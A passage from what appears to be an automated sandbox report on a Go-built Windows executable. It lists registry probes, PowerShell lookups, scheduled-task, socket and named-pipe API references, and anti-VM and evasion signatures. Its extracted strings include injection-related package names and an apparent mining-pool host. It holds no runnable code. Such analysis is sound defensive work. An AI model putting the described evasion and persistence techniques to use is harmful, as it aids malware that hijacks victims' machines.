"HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "66020BBFA6744E606B312416F65E1C69B44F98AD9FEE49C63E100BF32FFEE4B7"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "")63:T428,file/memory contains long string with (Indicator: "RegisterTask"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "RegisterTaskDefinition"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "Schedule.Service"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "Schedule.Service" (Indicator: "Schedule.Service"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "RegisterTaskDefinition" (Indicator: "RegisterTask"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "RegisterTaskDefinition" (Indicator: "RegisterTaskDefinition"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")64:T429,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Contains ability to detect presence of virtual environment (API string) Matched sigs: Able to retrieve information set for devices (API string) Matched sigs: Able to identify virtual environment by using API string Matched sigs: Able to identify virtual environment using user register activity Matched sigs: Queries process mitigation policy via NtQueryInformationProcess Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: The input sample contains the RDTSCP instruction65:T60d,"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to touch file "C:\UXTHEME.DLL" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to touch file "C:\uxtheme.dll" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to touch file "C:\Windows\System32\uxtheme.dll" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to touch file "C:\WINDOWS\SYSTEM32\uxtheme.dll" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to touch file "C:\WINMM.DLL" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to touch file "C:\winmm.dll" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to touch file "C:\Windows\System32\winmm.dll" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to touch file "C:\WINDOWS\SYSTEM32\winmm.dll" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to touch file "C:\WINMMBASE.DLL" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to touch file "C:\WINMMBASE.dll" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to touch file "C:\Windows\System32\winmmbase.dll" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to touch file "C:\WINDOWS\SYSTEM32\WINMMBASE.dll" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to touch file "C:\WINDOWS\SYSTEM32\winmmbase.dll"66:Td23,"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\UXTHEME.DLL" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\uxtheme.dll" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\WINMM.DLL" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\winmm.dll" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\WINMMBASE.DLL" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\WINMMBASE.dll" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\FLTLIB.DLL" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\MSVCP140.DLL" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\MSVCP140.dll" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\VCRUNTIME140.DLL" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\VCRUNTIME140_1.DLL" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\VCRUNTIME140_1.dll" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\powershell.exe" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\powershell.exe.exe" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath_target_114250\POWERSHELL.EXE" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath_target_114250\POWERSHELL.EXE.EXE" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\Windows\System32\POWERSHELL.EXE" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\Windows\System32\POWERSHELL.EXE.EXE" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\Windows\POWERSHELL.EXE" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\Windows\POWERSHELL.EXE.EXE" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\Windows\System32\wbem\POWERSHELL.EXE" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\Windows\System32\wbem\POWERSHELL.EXE.EXE" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\PYTHON311.DLL"67:Tef2,"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\powershell.exe.com" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\powershell.exe.bat" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\powershell.exe.cmd" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\powershell.exe.vbs" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\powershell.exe.vbe" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\powershell.exe.js" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\powershell.exe.jse" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\powershell.exe.wsf" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\powershell.exe.wsh" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\powershell.exe.msc" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath_target_114250\POWERSHELL.EXE.COM" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath_target_114250\POWERSHELL.EXE.BAT" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath_target_114250\POWERSHELL.EXE.CMD" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath_target_114250\POWERSHELL.EXE.VBS" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath_target_114250\POWERSHELL.EXE.VBE" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath_target_114250\POWERSHELL.EXE.JS" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath_target_114250\POWERSHELL.EXE.JSE" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath_target_114250\POWERSHELL.EXE.WSF" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath_target_114250\POWERSHELL.EXE.WSH" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath_target_114250\POWERSHELL.EXE.MSC" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\Windows\System32\POWERSHELL.EXE.COM" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\Windows\System32\POWERSHELL.EXE.BAT" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\Windows\System32\POWERSHELL.EXE.CMD" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\Windows\System32\POWERSHELL.EXE.VBS" "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" trying to access non-existent file "C:\Windows\System32\POWERSHELL.EXE.VBE"68:T49b,Found reference to API "SetsockoptInt" (Indicator: "setsockopt"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "SetsockoptIPMreq" (Indicator: "setsockopt"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "SetsockoptLinger" (Indicator: "setsockopt"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "SetsockoptIPv6Mreq" (Indicator: "setsockopt"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "SetsockoptInet4Addr" (Indicator: "setsockopt"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "setsockopt"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.Setsockopt" (Indicator: "setsockopt"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.SetsockoptInt" (Indicator: "setsockopt"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe")69:T498,file/memory contains long string with (Indicator: "WSARecv"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "WSASend"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "WSAStartup"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.WSARecv" (Indicator: "WSARecv"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.WSASend" (Indicator: "WSASend"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.WSAStartup" (Indicator: "WSAStartup"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")6a:T507,file/memory contains long string with (Indicator: "WSARecv"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "WSASend"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "WSAStartup"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.WSARecv" (Indicator: "WSARecv"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.WSASend" (Indicator: "WSASend"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.WSAStartup" (Indicator: "WSAStartup"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00003628-00000C2C-676433156") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")6b:T17fd,file/memory contains long string with (Indicator: "CreatePipe"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "CreateNamedPipe"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "ConnectNamedPipe"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetNamedPipe"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.CreatePipe" (Indicator: "CreatePipe"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "CreateNamedPipeWConnectNamedPipeWriteFile" (Indicator: "CreateNamedPipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateNamedPipeWConnectNamedPipeWriteFile" (Indicator: "ConnectNamedPipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CallNamedPipeA" (Indicator: "CallNamedPipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CallNamedPipeW" (Indicator: "CallNamedPipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "ConnectNamedPipeCopyContext" (Indicator: "ConnectNamedPipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateNamedPipeACreateNamedPipeWCreatePipe" (Indicator: "CreateNamedPipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateNamedPipeACreateNamedPipeWCreatePipe" (Indicator: "CreatePipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetNamedPipeInfoGetNumberFormatAGetNumberFormatWGetOEMCPAddAtomAGetPackageId" (Indicator: "GetNamedPipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetNamedPipeInfoGetNumberFormatAGetNumberFormatWGetOEMCPAnyPopupGetPackageId" (Indicator: "GetNamedPipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetNamedPipeClientComputerNameA" (Indicator: "GetNamedPipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetNamedPipeClientComputerNameW" (Indicator: "GetNamedPipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetNamedPipeClientProcessId" (Indicator: "GetNamedPipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetNamedPipeClientSessionId" (Indicator: "GetNamedPipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetNamedPipeServerProcessId" (Indicator: "GetNamedPipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetNamedPipeServerSessionId" (Indicator: "GetNamedPipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetNamedPipeAttribute" (Indicator: "GetNamedPipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetNamedPipeHandleStateAGetNamedPipeHandleStateWGetNativeSystemInfo" (Indicator: "GetNamedPipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreatePipe" (Indicator: "CreatePipe"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "ConnectNamedPipe" (Indicator: "ConnectNamedPipe"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "CreateNamedPipeA" (Indicator: "CreateNamedPipe"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "CreateNamedPipeW" (Indicator: "CreateNamedPipe"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetNamedPipeHandleStateA" (Indicator: "GetNamedPipe"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetNamedPipeHandleStateW" (Indicator: "GetNamedPipe"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp") Found reference to API "GetNamedPipeInfo" (Indicator: "GetNamedPipe"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")6c:T845,file/memory contains long string with (Indicator: "wsastartup"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "wsacleanup"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "gethostbyname"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: " connect "; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: " send "; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: " socket "; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.WSAStartup" (Indicator: "wsastartup"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00003628-00000C2C-676433156") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp, 00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp, 00000000-00001336.00000001.108809.F5220000.00000004.mdmp") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")6d:T4f1,"1.0.0.0" "2.5.29.37" "2.5.29.35" "192.168.0.2" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "ersion=3.0.0.0," "2.5.4.8" "2.5.4.5" "2.5.4.7" "2.5.4.11" "2.5.4.6" "2.5.4.10" "2.5.29.16" "2.5.29.19" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.31" "2.5.29.32" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.14" "2.5.29.15" "2.5.29.17" "2.5.29.1" "2.5.4.3" "2.5.29.10" Potential IP "4.0.0.0" found in string "n=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" Potential IP "3.0.0.0" found in string "3.0.0.0," "192.168.0.1" "255.255.255.255" Potential IP "1.0.0.1" found in string "??\C:\Program Files\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1" Potential IP "1.0.0.0" found in string "??\C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.psd1" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.Commands.Management.resources,3.0.0.0,en-US,31bf3856ad364e35"6e:T84e2,Heuristic match: "*abi.name" Pattern match: "golang.org/x/sys/cpu" Pattern match: "golang.org/x/sys/windows" Pattern match: "golang.org/x/sys/windows/registry" Pattern match: "golang.org/x/crypto/chacha20poly1305" Pattern match: "golang.org/x/net/dns/dnsmessage" Pattern match: "github.com/go-ole/go-ole/internal/cmstp" Pattern match: "github.com/go-ole/go-ole/internal/stomp" Pattern match: "github.com/go-ole/go-ole/internal/ntapi" Pattern match: "github.com/go-ole/go-ole/internal/payload" Pattern match: "github.com/go-ole/go-ole/internal/taskcom" Pattern match: "github.com/go-ole/go-ole/internal/memload" Pattern match: "github.com/go-ole/go-ole/internal/p3inject" Pattern match: "https://go.dev/issue/66821" Pattern match: "pathgithub.com/go-ole/go-olemodgithub.com/go-ole/go-ole(devel)depgolang.org/x/cryptov0.33.0h1:iobpskki6lysi0lo9qqvbxiq+fvscc/ywoecchaixus=depgolang.org/x/sysv0.30.0h1:qjkswp/36a20jfywksue1ywxzlmsv5gfq7eiy72c1uc=build-buildmode=exebuild-compiler=gcbuild-ldf" Heuristic match: "internal/abi.name.name" Heuristic match: "type:.eq.internal/godebugs.info" Pattern match: "http://crl.globalsign.net/objectsign.crl053?*" Heuristic match: "raw.githubusercontent.com" Heuristic match: "pool.hashvault.pro" Heuristic match: "runtime.(*bucket).mp" Heuristic match: 